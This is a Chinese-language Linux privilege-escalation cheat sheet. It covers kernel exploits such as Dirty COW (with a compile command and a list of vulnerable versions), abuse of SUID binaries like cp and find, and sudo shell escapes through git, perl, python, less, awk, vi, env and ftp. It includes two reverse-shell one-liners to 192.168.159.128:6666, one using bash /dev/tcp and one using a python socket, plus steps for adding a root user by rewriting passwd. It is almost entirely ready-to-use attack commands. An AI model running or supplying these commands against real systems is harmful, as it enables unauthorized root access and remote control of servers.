Linux和Windows一样,也有相对应的脚本进行漏洞扫描,但风险太高,容易把服务器提崩,建议不用
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
使用uname -a
查看内核版本,在msfconsole工具中搜索该版本所爆出的漏洞,下载payload即可
比如脏牛漏洞
gcc -pthread dirty.c -o dirty -lcrypt
利用版本必须低于如下版本
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
find / -perm -u=s -type f 2>/dev/full 查找拥有SUID权限的程序
perm 指定权限
-u=s SUID
type 文件类型
f 常规权限
各命令有此权限时
cp:可通过复制passwd文件进行添加root用户
复制passwd到当前目录,使用kali进行密码加密,在passwd中添加完整用户
find:设置反弹shell
find 文件名 -exec whoami \; 查看是否回显root,成功回显证明可以攻击
-exec 对文件执行shell命令
\; 以分号结束,有特殊意义,需要\转义
find xxx.sh -exec "/bin/sh" 直接提权,需要创建一个shell脚本
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.159.128/6666 0>&1 \; 设置反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.159.128",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; 使用python反弹
sudo -l
的权限,调用此命令时需要在命令前加sudo
设置方式:vim sudoers 或 viduso,想复现可自行尝试
在帮助框中输入!/bin/bash即可进入bash
sudo git help config 或 sudo git -p help 进入帮助文档
调用参数提权
sudo perl -e 'exec "/bin/bash";'
-e 调用
代码提权
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
-c 在命令行执行python代码
pty 伪终端库
spawn 调用指定程序
浏览文件内容,在底部输入!bash
sudo less 文件名 随便创建文件浏览即可
调用Linux的system函数来打开bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo man man 打开命令行输入!/bash
sudo vi 进入默认页,底部输入:!/bash
.sh
编辑脚本
#!/bin/bash
/bin/bash
.py
#!/usr/bin/python
import os
os.system("/bin/bash")
通过env环境变量获取root权限
sudo env /bin/bash
通过ftp进入bash提权
sudo ftp 进入ftp 输入!/bin/bash
当root禁用某个命令的执行时,例:!/usr/bin/find,那么就需要复制命令的目录到任意处执行就好
最新漏洞网站
https://cxsecurity.com/
查找拥有SUID文件提权网站
https://gtfobins.github.io/